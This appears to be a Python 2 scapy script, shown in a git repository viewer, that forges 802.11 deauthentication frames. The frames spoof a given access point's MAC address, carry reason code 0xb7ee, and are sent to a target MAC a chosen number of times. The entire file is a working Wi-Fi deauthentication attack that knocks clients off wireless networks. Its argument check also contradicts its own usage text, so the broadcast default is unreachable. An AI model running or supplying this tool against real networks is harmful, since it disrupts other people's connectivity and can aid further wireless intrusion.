blob: 9151039fb337fae77fb033b63678f4cb72d133b0 (
plain) (
blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
import sys
import getopt
from scapy.all import *
REASON=0xb7ee
option_count=1
def usage():
print "usage: %s [-c count] iface mac_ap [mac_target]" % sys.argv[0]
if __name__ == '__main__':
try:
opts, args = getopt.getopt(sys.argv[1:], "c:")
except getopt.GetoptError, err:
usage()
sys.exit(1)
for o, a in opts:
if o == "-c": option_count=int(a)
else:
print "unknown option %s" % o
sys.exit(1)
if len(args) < 3:
usage()
sys.exit(1)
iface = args[0]
mac_ap = args[1]
if (len(args) == 3):
mac_target = args[2]
else:
mac_target="ff:ff:ff:ff:ff:ff"
conf.iface=iface
# addr1 == destination
# addr2 == source
# addr3 == bssid
pkt = Dot11(addr1=mac_target, addr2=mac_ap, addr3=mac_ap)/Dot11Deauth(reason=REASON)
send(pkt,count=option_count)
|